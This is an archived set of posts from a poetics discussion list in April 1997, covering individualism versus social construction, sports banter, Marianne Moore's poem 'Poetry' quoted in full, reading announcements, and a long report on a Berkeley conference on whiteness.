>Brown, Brown, Brown.")
>
>

↑ Index

751. **Brent Long**
Re: divine continued
Tue 22 Apr 1997

Mark:

"Capitalism" becomes the basis for a class of owners to manipulate others, not "individuality". Not only is the process of creation individual, but so is the process of interpretation. We have all looked at a work of art, be it literary or otherwise, and formed our own interpretation of that work. However, the artists alone knows how he/she intended for the work to be seen, because the artist, as an individual, gave birth to the work.

↑ Index

752. **Don Cheney**

Re: "As a matter of fact, i do, Cubby"

Tue 22 Apr 1997

> *And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?*

certainly! the only reason i have cable tv is to watch the nba all year, the play-offs in their entirety, the bulls in particular and any soccer i can catch. yet missed what i heard was an excellent mexico/usa world cup prelim match on sunday (busy coaching 4 on 4 soccer and emphasizing to the kids the similarities with basketball). what i've seen of mexico makes me think they're very good so the u.s. matching them 2-2 speaks well for the u.s. the mexican team is fast and precise on offense. fun to watch.

as for basketball, the bulls are vulnerable without rodman and kukoc that is for sure. what's bad for me is that those two are my favorites to watch, kukoc on offense and rodman at both ends. and what of the lakers? eddie jones is the bomb. he's like the mexican soccer team: fast, precise and fun to watch. and if clyde, hakeem and sir charles are up for it they could make a run.

don

> *2) Has anyone else noted the genuinely bad start with which the Cubs began their year? I have a theory, called "The Curse of George Will." My evidence is that the Cubs were unable to win until after the big Ginsberg memorial at Temple Emmanuel in San Francisco was complete. The Cubs' minor league teams also have the worst cumulative record in baseball. Jack Spicer would have appreciated this form of torture.*
>
> *Karmic balancing of the remarkable winningness of Jordan, et al.*
>
> *And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?*
>
> *bill marsh*

↑ Index

753. **Pierre Joris**

Re: "As a matter of fact, i do, Cubby"

Tue 22 Apr 1997

> *And given Spicer's love of baseball, any poets (here or there) with a love of BASKETball?*

Well, not in this household, but back on the WC, San Diego way, Quincy Troupe, son of a basketball player, player near-pro himself til is knee quit on him, has had basketball themes run through his work all along. In fact there's a concert at RPI in Troy (that's in Nueva York, not Asia Minor) tomorrow (& that's a pitch to the crowd in the Albany area) by composer & trombonist George Lewis with a new composition using one of Quincy's poems, with electronic innerjections of lines by Jordan, especially the one he used when he quit briefly (to try his hand at baseball): "I can live without it."

By the way the Cubbies were good enough to win 2 over my Mets, lawdie lawd, though just half an hour ago the latter finished an excellent game beating the Reds 7 to 2. It's been 60 degrees all day long & it won't freeze tonight, the Mets won one, its parse-over day & thus no teaching, martini hour is fast approaching, the individual vs the social match is a draw at half-time, I hope bromige will wear them funny shorts when he comes through Albany in the fall,unless of course he'd had to hock them to get bowering out of Canada -- what a sweet one it has been! -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

754. **henry**
Re: divine continued
Tue 22 Apr 1997

"Individuals" are not to blame for the fact that corporations increase their clout in the legal system through the mechanism of the "corporate individual". Nor in my view has socialism (based on the concept that the individual is subservient to the whole) proved very successful in practice. I still think the good bishops were on the right track in their documents on the US economy of 10 yrs ago - accepting private ownership as fostering efficiency, responsibility, and a buffer against the state; yet demystifying capitalism as the best of all possible worlds. They provided a pretty thorough critique of capitalism & called for an ethos of stewardship & communal responsibility based on democratic governance. It's easy to scoff at them as establishment ameliorators - but then, it's easy to scoff, period. You try coming up with a better plan. & they did it all while honoring the idea of the Person as the heart of the whole matter. This has nothing to do with my "metaphysical" bent on this subject; I'm not a Catholic; I looked into this issue during my community organizing days. - Henry Gould

↑ Index

755. **Don Cheney**
Re: divine continued
Tue 22 Apr 1997

> *I see nothing in the process of creation that is "individual," if one means by that self-contained, discrete, and in any sense absolute rather than provisional. Creativity emerges in responsiveness, contact, that place where the human mind finds itself not singular and individual but IN RELATION TO THE WORLD.*

↑ Index

756. **Don Cheney**
Re: divine continued
Tue 22 Apr 1997

accidentally hit the Send button on eudora and sent this to poetix. sorry. don

> *Date: Tue, 22 Apr 1997 10:34:06*
> *To: UB Poetics discussion group <[redacted]>*
> *From: Don Cheney <[redacted]>*
> *Subject: Re: divine continued*
> *In-Reply-To: <[redacted]>*

> *I see nothing in the process of creation that is "individual," if one means by that self-contained, discrete, and in any sense absolute rather than provisional. Creativity emerges in responsiveness, contact, that place where the human mind finds itself not singular and individual but IN RELATION TO THE WORLD.*

↑ Index

757. **Jean Day**
Reading in San Francisco
Tue 22 Apr 1997

Once again, for all in the Bay Area:

Jean Day and Barrett Watten
Saturday April 26, 8 pm
New Langton Arts
1246 Folsom St.
San Francisco
[redacted]

(This is another marathon weekend, with events at Small Press Traffic on Friday night and at Canessa Park on Sunday afternoon--I don't have the specifics with me--Dodie? Avery?)

↑ Index

758. **Aldon L. Nielsen**
Re: no no not not
Tue 22 Apr 1997

Ten years ago David Bromige was a guest at my home in Washington, D.C. where he was giving a reading that week. After he left, I found that he had left behind a pair of black bikini briefs and a pair of glasses that seemed to magnify things out of all proportion. I had no way of knowing at the time that he had made the decision to leave all such things behind. I wish him well on steps five through twelve.

↑ Index

759. **Maria Damon**
that marianne moore poem
Tue 22 Apr 1997

in my house i find no copy of that "i too dislike it" poem by m. moore that has the imaginary gardens w/ real toads in them line in it. cd someone rise to the

occsaion and e it to me today?i need it for my rutgers pappr, and i'm leaving tmw. xo in perpetuity--md

↑ Index

760. **LYNES- KATHERINE**

Re: back to drawing board / (if not to lurk)

Tue 22 Apr 1997

---

just can't leaf this one alone.... i'm into flitting, myself, these days, which may be barking up the wrong tree, but as a flitterer, my responses to the posts ebbs and phloems....

kl

> *david israel wrote:*
>
> *to scope? -- to scope, perchance to preen ;*
> *(aye, there's the shrub)*
>
> *d.i.*
> *.*
> *.....*
> *.....*
> *\\\

> *rise to the occsaion and e it to me today?i need it for my rutgers pappr,*
> *and i'm leaving tmw. xo in perpetuity--md*

↑ Index

762. **LYNES- KATHERINE**
Re: who is social, individual, or a writer
Tue 22 Apr 1997

> *maria damon wrote:*
>
> *does expletive mean simply pejorative? i didn't think so. i thought it had*
> *a more specific meaning which wd make the term "naive" not an expletive.*
> *can some etymologist or grammarian explain what, exactly, an expletive is?*

one of the senses of expletive is "a word which is obscene or profane" -- your call as to whether that is perjorative or not... but expletive also means a word that serves as a filler, something to fill a vacancy, as in [insert verb here]...

kl

↑ Index

763. **Sylvester Pollet**
Re: that marianne moore poem
Tue 22 Apr 1997

In the fat Norton 2nd (of Amer Lit) it's on 1182-83. sp

> *in my house i find no copy of that "i too dislike it" poem by m. moore that*
> *has the imaginary gardens w/ real toads in them line in it. cd someone*
> *rise to the occsaion and e it to me today?i need it for my rutgers pappr,*
> *and i'm leaving tmw. xo in perpetuity--md*

↑ Index

764. **Stephen Vincent**
Re: no no nanook(ie)
Tue 22 Apr 1997

Nanook of the South - are we watching a new Canadian documentary?
By the way David (B), best of luck in going after those
Sebastapol Light Industrial Park Developers. May
you catch at least one of them
with their pants down. But be careful,
Land Developers are notorious for wearing
Everlast and some of their ecological screws

can be, indeed (at least in our lifetime),
seemingly eternal.

Cheers,
Stephen Vincent

↑ Index

765. **LYNES- KATHERINE**
Re: back to drawing board / (if not to lurk)
Tue 22 Apr 1997

---

does this mean that we blubber when our finally written response posts don't show up? kl

Sylvester Pollet

> *That might do it, Aldon. List-lubbers, i.e. lovers, but not quite in the swim. I lub it! sp*

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766. **LYNES- KATHERINE**
Re: Rukeyser Reprints
Tue 22 Apr 1997

Jordan Davis wrote:

> *Pierre == Muriel Rukeyser's being celebrated here at Teachers & Writers on May 8 (reservations required, call now).*

where is "here"? kl

↑ Index

767. **LYNES- KATHERINE**
Re: that marianne moore poem
Tue 22 Apr 1997

---

maria-- i don't have my marianne moore in front of me [what a picture that is] but i do know that she has 2 versions of that poem: one which is just a few lines long, the other which is much longer. the short one is the last one written/revised. look in the back of the collected poems [poetry?] of mm, it usually has the longer version in it. if that doesn't work, try an older norton?

best-- kl

> *in my house i find no copy of that "i too dislike it" poem by m. moore that has the imaginary gardens w/ real toads in them line in it. cd someone rise to the occsaion and e it to me today?i need it for my rutgers pappr,*

> *and i'm leaving tmw. xo in perpetuity--md*

↑ Index

768. **Mark Weiss**

Re: "the divine analogy which is the unity of the human race"?

Tue 22 Apr 1997

I had hoped to leave this discussion to Henry the Brown, who has been doing just fine, but I guess I'll have to wade in. This question is a set of chinese boxes. No "proof" is possible, because we all, and all the phenonmena we muster to one side or the other, could be merely ideas in the mind of god. For the sake of argument, I put aside such conversation-stoppers. Where to begin? Personality and individuality are not interchangeable terms. However generated, personality is socially perceived, individuality is individually perceived. We write critiques of romantic individualism, not romantic personalitism. If Goffman mixes these two terms up, throw the book out. Personality, how one presents oneself and is perceived, is certainly partly a social construct, and varies according to social situation: I'm a different person with different people. But it's not entirely, nor even overwhelmingly, a social construct. Chemistry and genetics also count. Personality, as anyone who has ever experienced a chemical alteration to the brain, self-induced or otherwise, knows, is a most fragile thing: the peaceable can become violent, the shy demonstrative, etc. "You're a different person when you're (fill in condition or substance)," those who observe us most consistently and intimately will say. Chemical balances change constantly. Sometimes a spike in a given substance in the brain will lead to surprising behavior that may be considered inappropriate in a given social context: we run off with the neighbor's dog. When the chemistry returns to baseline we consider more objectively our relationship with said beast. There are, of course, social/cultural determinants to how we express these changes. In a dogless context we run off with the cat. As for genetics, we all know of children who, despite being raised in what would appear to be the same environment, behave, from the womb, quite differently. But it's fair to argue that no two children are really raised in the same environment--differences of nurture, no matter how small, could explain differences of personality, no matter how large. That's why twin studies have been so valuable. Studies of identical twins raised apart from birth have been going on, in this country and Japan (where, traditionally, twins were separated at birth and raised apart), since the twenties. Consistently, the twins studied show remarkable similarities of personality, down to such seemingly inconsequential matters as color preferences. In more serious matters, like the incidence of schizophrenia, the findings have been striking: if one twin is schizophrenic, there is a 50% likelihood that the other will be, regardless of who

raises each child. In fraternal twins the likelihood is the same as in the general population. This finding has been the impetus for all of the exciting work being done to try to identify the genetic mechanisms that predispose to schizophrenia. Individualism is a separate subject. Baseline--altho our personalities may change, altho the social value placed on the concept of the individual and the role that the individual plays within a society may change, all humans in all cultures who are not afflicted with certain severe and quite specific brain dysfunctions experience themselves as individuals--possessed of a continuing internal narrative that is different from the narrative of the next guy over. A major concern of the narrative is the constant negotiation and renegotiation of relationships with the world outside the individual--the establishment of boundaries and the terms for cooperation, and a critique of the social determinants of one's conceptualization of self. Most of us have a series of different identities--as individual, family member, community member, citizen, etc. The emphasis on one or the other identity is usually functional, or a remnant of when it was functional. Depending upon the social context, social cohesion or individual freedom of action may be more valued in a given culture at a given moment. Cooperation is stressed and idealized when a high degree of cooperation is necessary for survival, individual freedom may be stressed when times are more flush. And individuality may be idealized as a protest against the limitations imposed by functionally obsolete social restrictions (caste, class and the like). Neither individualism nor romantic individualism begin with the romantics, although they certainly are good examples of my last point. I think one can find literary traces of both going back to the greeks, and as a social reality it probably goes back to the beginning of the evolution of consciousness. Heroic oral narratives by and about living individuals exist in almost all non-literate cultures. But I'll stick with recent western culture. Living at a time when existing sociopolitical structures were less and less functional, any good 16th century calvinist accepted both that his own good or bad fortune indicated something about him as an individual and that it was dependent upon a destiny which he could not alter. Whether or not he prayed in the company of others, his primary relationship to god was one to one. A century later, after the English civil war, Dryden has the hero Almanzor (in The Conquest of Granada) echo Milton's Satan when he declares that "I alone am king of me." Satan, who remains rebellious, is demonstrably wrong (look what happens to him). Almanzor, after doing no end of damage to the society in which he lives, submits his individual will to the power of the state (across the water Le Cid did the same), reflecting, in the wake of the civil war, the danger to society posed by heroic individualism, as Dryden and many others saw it. At issue is the balance between the needs and rights of the individual and the needs and rights of the society. In current American society, many of us, myself included, react to what we perceive as the ideological abandonment of cooperation and the overemphasis on unbridled individualism

(Donald Trump: "I alone am king of me") that makes concerted action almost impossible by emphasizing the social over the individual. But to parse individual motivations so fine as to see nothing but social determination seems to me to partake more of theology than social theory. Any objection on behalf of individuality can be countered by one on behalf of social determinism, usw, and we're left deciding who comes up with the last turtle. Enough. New fields and pastures new.

At 09:58 AM 4/22/97 -0400, you wrote:
>Mark Weiss, Henry Gould and others:
>
> Thanks for your lively responses to my recent post. I'm sorry to
>have to continue to argue with you here.
>
> Mark: Quite simply, to say that one is socially constructed says
>nothing about one's ability to respond to social constructedness, and to
>effect change. Rather, one might construct a social notion of that field
>of activity reduced to the term "individual" as a SOCIAL site where
>various kinds of social activities are focused and rearranged. As M. Magee
>(do I have this name right?) points out, there is already a history of
>literary discussion of this kind of social activity of the human. I would
>suggest also the work of ERVING GOFFMAN, who in books like SOCIAL
>INTERACTION and others works very particularly with the notion of what he
>calls "face work," constructing in the process an idea of human identity
>as a series of responsive gestures to social phenomena, gestures that can
>include many types of resistance, rewriting, and possibility. But none of
>these possibilities are EXTRA-SOCIAL; rather, Goffman's idea is that
>"personality" (choose what word you will) is this SERIES OF PERFORMATIVE
>SOCIAL CHOICES).
>
> Henry: I appreciate your appreciation of my "youthful
>seriousness"--I'd thank you for your "adult seriousness" if I was sure
>that you were any older than I am. Perhaps I should have been more
>particular in my detailing of philsophical history; yes, it's true that
>Greek philosphy does not create the modern notion of the individual. I
>think it's more traditional to start with Descartes in this regard, moving
>up through Kant, etc. But I'm not sure I want to go into details here.
>Rather, it seems to me that in such phrases as "the divine analogy which
>is the unity of the human race," and "individuality is the gist" and
>"humanity is the living manifestation of the divine image" simply repeats
>the western history of a coercive "center elsewhere" that posits its goal
>of reducing all difference to the sameness of "individuality" in the name

>of a divinity to which it claims access. I have no problems with
>considering the possibilities in the sacred, per se: rather, I have
>intense problems with the philosophy and cultural critique you launch in
>the name of a divinity which you understand as "unity," but in which I see
>no presence of any unity.
>
> As to whether one goes to news reports for the details of
>scientific surveys (and indeed whether one goes to such surveys as the
>authoritative source on what constitutes the life of the human (I do NOT
>say individual), I'll leave it up to you to decide whether or not those
>sources are disinterested and trusthworthy, or biased by social factors.
>
> But again, thanks for your response on this; it's made clear to me
>that our differences here are profound.
>
> My apologies for my inability, on this modem, to correct typos.
>
> Mark Wallace
>
>
>/----------\
>| |
>| [redacted] |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |
>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|
>
>

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769. **Burt Kimmelman**

Re: that marianne moore poem

Tue 22 Apr 1997

---

maria,

"i too dislike it" is the opening shot of mm's "Of Poetry" poem.
burt
and so is the other imagery, if memory is serving me right.

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770. George Bowering
Re: Kilgore Trout says
Tue 22 Apr 1997

I think that subconsciously, my lifelong pal David Bromige really gets it. That a gap between serious discussions here of cosmology and eidetics--and little scabrous stories about our sexualized history---is just a gap in perception. Words delight me, and so do sentences (and so do those little gestures Rachel makes, but that is another question). So if ten slow words oft creep in one dull line, then I dont care whether I am hearing the dictates of the creator of the universe or the latest poem from Bukowski, forget it. But if I hear something delightful, the caroming of a word off someone's discarded comma, so that there is a discernible pinnng!, then I'm yr man.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

771. George Bowering
ReHoops
Tue 22 Apr 1997

> *And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?*
>
> *bill marsh*

Victor Coleman has always been a big fan of NCAA basketball. He is a big Syracuse fan, for some reason.

Some friends and I always have in January a cvommittment to writing down our predictions of the final 4. My friends did terrible this year because of the hype for Kansas and Cincinatti/ they didnt get any. I got 2 right: Arizona and kentucky.

But really, I am an NBA fan, more properly a Cavs and Sonics fan.

But that Victor Coleman: he gets pictures of basketballs on the covers of his books. He sleeps beside a basketball. Nice smell. "Wake up and smell the basketball," as his ex-girlfreind painted in a painting I have.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

772. **George Bowering**
Re: no no not not
Tue 22 Apr 1997

> *Ten years ago David Bromige was a guest at my home in Washington, D.C. where he was giving a reading that week. After he left, I found that he had left behind a pair of black bikini briefs and a pair of glasses that seemed to magnify things out of all proportion. I had no way of knowing at the time that he had made the decision to leave all such things behind. I wish him well on steps five through twelve.*

I dont like to have to point such things out, but did you make the obvious connection between Bromige's sleazy underpants and the MAGnifying glasses? I'll bet that Rachel and Maria saw the connection immediately.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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773. **George Bowering**
Re: that marianne moore poem
Tue 22 Apr 1997

> *in my house i find no copy of that "i too dislike it" poem by m. moore that has the imaginary gardens w/ real toads in them line in it. cd someone rise to the occsaion and e it to me today?i need it for my rutgers pappr, and i'm leaving tmw. xo in perpetuity--md*

I would think that most Nortons have it. It is Moore's most often reprinted poem. It's called "Poetry", and dates from 1921. the year before Eliot's big news. Hmm.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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774. **Hugh Steinberg**
Re: who is social, etc.
Tue 22 Apr 1997

On April 22, Henry Gould wrote:

>Remember Joe Poet, or was it Josephine? The one who always pushed to the
>front of the line at the open mike & read his poem about how he felt after
>he stubbed his toe on a fire hydrant & what it meant for his neighborhood,
>city, nation, cosmos? Remember? Remember? God, his poems were lousy.
>
Yeah, and I also remember his twin cousin Shirley (or was it Stanley), who always read last at the open mike, who read the poem about stubbed toes on fire hydrants and their meaning in the cosmos in a sort of shy, half-terrified whisper. They were also terrible.

Having been to scads of open mikes, of course most of 'em were terrible. But every so often a poem or even a line would break through that was wonderous. And I'd always recommend reading at the front of the open mike: that way there will still be folks around to hear your poem about the fire hydrant and your lovely, hurt toes.

Hugh Steinberg

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775. **Bobbie West**
horse apples
Tue 22 Apr 1997

Henry Gould wrote:

> *(as my Uncle George used to sing: "What's the color of horse manure?*
> *Brown, Brown, Brown.")*

As we all know, the color of horse manure depends on whether it's fresh or well-aged. Uncle George obviously prefers the well-aged variety, since fresh horse apples are green, green, green.

B.W. (a former surf lurker grazing on Henry's turf.)

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776. Stephen Vincent
Re: Rukeyser Reprints
Tue 22 Apr 1997

Off the hearsay hand, I gather the Rukeyser archive was recently acquired by the Library of Congress.

Cheers,
Stephen Vincent

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777. Hugh Nicoll
Ms. Moore's "Poetry"
Tue 22 Apr 1997

Maria & anyone else who'd like an ascii version:

Marianne Moore

Poetry

I, too, dislike it: there are things that are important beyond all
this fiddle.
Reading it, however, with a perfect contempt for it, one
discovers in
it after all, a place for the genuine.
Hands that can grasp, eyes
that can dilate, hair that can rise
if it must, these things are important not because a

high-sounding interpretation can be put upon them but because
they are
useful. When they become so derivative as to become
unintelligible,
the same thing may be said for all of us, that we
do not admire what
we cannot understand: the bat
holding upside down or in quest of something to

eat, elephants pushing, a wild horse taking a roll, a tireless wolf
under
a tree, the immovable critic twitching his skin like a horse
that feels a flea, the base-
ball fan, the statistician-
nor is it valid
to discriminate against 'business documents and

school-books'; all these phnomena are important. One must
make a distinction
however: when dragged into prominence by half poets, the
result is not poetry,
nor till the poets among us can be
'literalists of
the imagination' - above
insolence and triviality and can present

for inspection, imaginary gardens with real toads in them, shall
we have
it. In the meantime, if you demand on the one hand,
the raw material of poetry in
all its rawness and
that which is on the other hand
genuine, then you are interested in poetry.

(1921, 1935) Text and format follows the version of Selected Poems (1935).

Hugh Nicoll, Miyazaki Municipal University,
Funatsuka 1-1-2, Miyazaki-shi 880 JAPAN
vox: 81-985-20-2000, ext 1306, fax: 81-985-20-4807
email: [redacted]

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778. **Jeffrey W. Timmons**

Re: What white

Tue 22 Apr 1997

On Mon, 21 Apr 1997, Maria Damon wrote:

> *most of the "white" critical race theorists who are problematizing "whiteness" are doing so not to avoid taking responsibility for their privilege but precisely to take responsibility and take steps, as aldon pointed out in his "whatness of whiteness" post, to dissolve its mystical powers of privilege-granting. it is this taking responsibility that seems a little lacking in your posts, jeffrey. what you say about construction*

> *is true, but to use that argument to deny the material/ experiential effects of racism on people of color seems...well...evasive, as if you feel personally attacked and need to defend yourself.*

i dont feel attacked. really. i hoped to say to dale that referring to my posts as "intellectualized" was an out of hand dismissal.

i was/am in complete agreement that there are material/experiental effects of race. this was the thrust of my last post where i agreed with dales comments on this matter (and bodies which).

i dont quite understand why if what im saying does not resemble what other "white" theorists do--not taking responsibility for privilege--my comments are lacking some essential dimension of that discourse. should i be saying it like them? perhaps i might learn something from them but....

i think its important to remember that i objected to how easily ginsberg was collapsed into a category of "white guys"--and that i intended to reflect upon the difficulty of using that denomination to identify him. i dont think thats such a difficult position to accede to.

thanks for your post maria.

jeffrey timmons

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779. Aldon L. Nielsen
Re: A Tale of Two Cities (part one): Berkeley White
Tue 22 Apr 1997

While the organizers of the conference on "The Making and Unmaking of Whiteness" at UC Berkeley did not bother to send any notices of the affair to my CSU campus, notice was posted in enough places that the media and certain professional opponents of "social construction" "ism" got wind of it in advance. The day before the conference began, the San Jose Mercury News ran a piece titled "Furor Erupts over Cal scholar's conference on 'whiteness'." While I appreciated the use of quotation marks in the head, I was confused by the same head's suggestion that only one Cal scholar was in possession of the conference. In the Mercury News article, "race scholar" Shelby Steele was quoted as asking, from his perch in the Hoover Tower at Stanford, "What else is ethnic studies going to do to justify their existence? They've not produced anything in a critical way, just celebratory. It opens the door to this kind of garbage." "Race scholar" Shelby Steele is apparantly unaware that back in the days when Charles Olson worked for the ethnic interests section of the Democratic Party, "ethnic Studies," where it existed at all, was given almost exclusively to the study of people who would today be termed "white." I'm not really clear how

the putatively celebratory nature of ethnic studies is supposed to have opened the door to the garbage of studying the construction of whiteness either, but then I'm still a bit dim from all this reading and teaching I have to do every day. The same article quoted KLLC disc jockey "Vinnie" as remarking, "When I see another white person walking down the street, I don't say, 'Hey, that person's on my team,'" and I suspect he was telling the truth.

Anyway, that will give you a sense of the social representation of the conference on the social representation of whiteness. The media were on hand in impressive numbers as the conferenc opened, talked to one another loudly through the early presentations, collared a few organizers for sound bites and then had the good grace to leave.

The conference was opened by Elaine Kim, Michael Omi and Jose David Saldivar, who remarked on the fact that a trio of "non-whites" (a term that was denounced every three hours by members of the audience) was introducing a conference studying whiteness.

The first negative reaction I had to the conference program came when I realized that there would be no discussion of poetry anywhere in the three days of the proceedings. Then I recognized just how marginalized literature in general would be at the conference. It seemed that much of the productive debate about racial discourse in writing had simply not been read by those organizing the meetings. An oddity in my eyes -- in a nation that has often defined literature as a category not available to "non-whites" (see T. Jefferson on that), here it seemed that white people had little to do with writing at all!

The first panel, on popular culture, had some interesting work. My sense was that the grad. students on the panel had the most exciting material in hand. Josh Kun's paper, titled "The Yiddish Are Coming! Mickey Katz and American Whiteness," was great stuff -- and he played some fine Klezmer to an audience who mostly hadn't heard it before. (and if you've never heard Katz sing "Don't Let the Schmaltz Get in Your Eyes" you ain't heard nothing yet!) Annalee Newitz was quite good on "The Whiteness of the Police." Eric Lott and Fred Pfeil gave pretty good talks, but they were for the most part elaborations of work that they have produced previously.

The audience responses to the first panel set the tone for the remainder of the week-end. There were several quite good questions and observations from people who had obviously listened carefully and thoughtfully, interspersed among the diatribes from those who thought either that the whole conference was just one more way for white elitists to control discussion (despite the evident integration of the entire conference), and those who believe that the mere existence of academic conferences is just one more means by which the oppressive bourgeois apparatus prevents true revolutionary action from taking place.

Panel Two included rather bland presentations of interview work done by Michelle Fine and Lois Wise, and more intriguing talks by Cameron McCarthy (on "suburban resentment and the representation of the inner-city in film and television") and Aida Hurtado on "taming (becoming) the savage: white ethnic appropriation in the construction of whiteness" [what I sometimes term the "Pocahontas Perplex"].

The last panel of the first day included both the worst of times and the best of times. Cheryl Harris, whose "Whiteness as Property" is a touchstone of Critical Legal and Race Theory work, gave an exemplary (and very literary I might add) reading of legal rhetoric in court decisions regarding race. Walter Benn Michaels, on the other hand, delivered himself of exactly the sort of pro-crustean redefinitions and misreadings that mar his recent book _Our America_. According to Michaels, race cannot be a social construction because it is a mistake. (One wonders why it cannot be both. One wonders why those who have made this mistake don't apologize [though I resist the apologia mode in these discussions as it plays right into the media's ((as in the Mercury news the day before)) tendency to portray any discussion of the subject of racism as "white apology.") The continuing problem in Michaels's work on this subject is his tendency always to reduce race to something that somehow inheres in the individual (despite his frequent disclaimers that he is not proposing an individualist perspective); as several of his fellow panelists tried to point out to him, the idea that race is relational _means_ that it persists in the language beyond the body of the individual.

I will now hurry things along a bit, as some of you are in digest mode and paging rapidly to the next post.

On Saturday Howard Winant gave a rambling talk that pretty much replayed the work he's done with Omi. Ruth Frankenburg talked about locating research on whiteness, Caren Kaplan gave a very incisive talk on commodity feminsim in an era of globalization, and Nancy Scheper-Hughes went on interminably about her field work in South Africa. (An instance of an interesting subject made boring by the mode of presentation.)

The second panel of the second day was titled "Queering Whiteness, Querying the Self." Allan Berube talked about "How Gay Stays White," perhaps the most "confessional" of the papers presented at the conference. Jasbit Puar demonstrated once more that the grad. students were doing some of the best work in these areas, Yvonne Yarbro-Bejarno recited a sequence of nostrums, and John Powell of Minnesota led the crowd through a careful, but informal exploration of "The Fluidity of Self and the Stability of Race," the highlight, for me at least, of that panel.

The last panel I was able to attend was titled "Critical Studies of Whiteness." Noel Ignatiev was unable to present his paper, so a Berkeley staff member read if in his place. It wasn't so much a critical study as it was a restatement of the _Race Traitor_ platform. I have a general sympathy with Ignatiev, but I doubt that reifying blackness is a good way to unmake whiteness. The term "New Abolitionists" has its merits, until you recollect some of the peculiar racial ideas of some among the old abolitionists (remember Garrison and others telling Douglass he should just tell his story and leave the theory to them!) And I'm not at all sure it's true that racism is the major prop of capitalism in the United States, though it's one hell of an accomplice -- Other papers wrapping up the day included Mab Segrest's autobiographical "memoirs of a race traitor" talk on "The Souls of White Folk" and David Wellman's "Whiteness as a Site of Contestation." David Roediger, again from Minnesota (and just why are there so many experts on whiteness from Minnesota?), gave a much-needed reminder in the form of his paper "Studying Whiteness: An African-American tradition," in which he quickly sketched some of the more important stages in the development of "whiteness" studies by black authors, including most prominently the Du Bois of "The Souls of White Folk." Michael Rogin was amusing in the role of absent-minded professor as he commented on the papers and fielded questions from the audience.

Which included a not-entirely unexpexted disruption. A fellow who announced that he called himself Thorsson ("I reject my Christian name") interrupted Mab Segrest to denounce the entire proceedings as an affront to Euro-Americans. Turned out he was there in cooperation with Dale Warner, a fellow who represents himself as head of a European American activist organization. I'd had prior experience of Mr. Warner. After a talk I gave in San Jose, he sent letters to senior faculty at my university (I was not yet tenured), on the letterhead of his law firm, denouncing me as among the 15% [where DOES he get these numbers] of European Americans who are "deeply twisted, pathologically self-loathing," and therefore unfit to teach at a university. This in response to my public invitation to white Americans to work with white Americans to end racism. [This was echoed in the Mercury News article, by the way, when radio talk-show host Michael Savage said of the conference organizers: "They're self-hating fools. They'll be happy when whites are on the cotton plantation." I'm not making this up, guys -- guess he didn't know white people had always been on the cotton plantation.]

Sunday morning featured a session on the "Histories of Whiteness," which I had to miss -- Troy Duster made closing remarks, and then, despite the closing remarks having already been made over lunch, there was scheduled an open discussion titled: "The Unmaking of Whiteness: Where Do We Go from Here?" I was intrigued by the first person plural of that, assuming it meant "we" who

might want to unmake whiteness, but I was even more intrigued wondering just where the "here" is in that question. But I was already flying to L.A. by then, and will have to wait for others to tell me what happened.

tune in next time for "On the Wings of Atalanta," or "College Language Association Meets the Black College Spring Break Freaknik," and will somebodies after Rutgers please tell us absolutely everything?

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780. Jeffrey W. Timmons
Re: what is white
Tue 22 Apr 1997

On Fri, 18 Apr 1997, Hoa Nguyen wrote:

> *On Thursday April 17 Jeffrey W. Timmons wrote:*
>
> *..."white was used in a homogenizing fashion that failed to be attentive to the pluralities that term is used to organize and did not recognize the virtually indistinct category it is. of course it does have a powerful political resonance"*
>
> *Maybe it would be appropriate to address exactly what this "resonance" is. and what is the "it"?*

with "resonance" i wanted to suggest that it carries a rather negative connotations. i dont want to sound like dinesh d'sousa here but "white" is often used as a derogatory appellation. no i do not believe in "reverse" discrimination. im not one of "those." really.

it: white. it should be used in brackets i think or under erasure--its effects are still present but under stress. thats good.

> *I agree that the term is impenetrable and tricky-- Melville's whale-- and at the same time the "resonance" is what I live with everyday of my life. I understand that "white" is a "concept" designed to divide and imbue power-- ....*
> *Each time I said "people" in the previous, I meant white people. It is not a very satisfying term for me either. I don't know what else to call the experience I have with "white" Americans.*

i wont deny your experience and i think that your comments here suggest my own need to re-think my own responses in relation to what you have to say about this. im not trying to own them to my self but say that i think i have something to learn from what you have to say here.

id like to think that "white" is something that stands between us perhaps. i as much as you perhaps would like not to have to negotiate its effects and shapes in our lives. i am very uncomfortable with it at times--as much as it creates

privileges for me. living in nw washington dc off and on i recognize the geographic determinations of race but though i found it comfortable to live in a "white" area of the city (i later moved to se capitol hill where there is a greater mix of people) i was also greatly disturbed by the wealth and extravagance and often blatant excessive grossness of money. if "white" is that sort of privilege (and more) i would rather not be included. you know?

> *..."race is semantically and epistemologically more complicated that the linguistic and conceptual categories used to discuss it. itd be more useful i think to be aware of that"*
>
> *I am very aware of race and its complications-- you wield incredible privilege as you speak of race as you do above. Race is not a concept to me in my daily experiences.*

id like to hear more from you on this actually. im not sure i understand. my first response is that its would seem to me that i should wield that privilege and wield it responsibily (and i hope i have). race is not a concept: ok. i understand it is a lived experience. at the same time i believe that words like white hispanic asian indian do not do justice to the "daily experiences" you refer to. you said you are uncomfortable with "white" assumptions about your race and its implications: such assumptions (on the part of whites) are the effect of the limited semantic/linguistic tools we--?!--have for talking about cultural differences.

i hope i was clear about this last point: i just think a better language could be used/developed for talking about race than the generalizations of categories we use to do so.

sorry to take up so much space.

jeffrey timmons

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781. Jeffrey W. Timmons
Re: who is social, etc.
Tue 22 Apr 1997

---

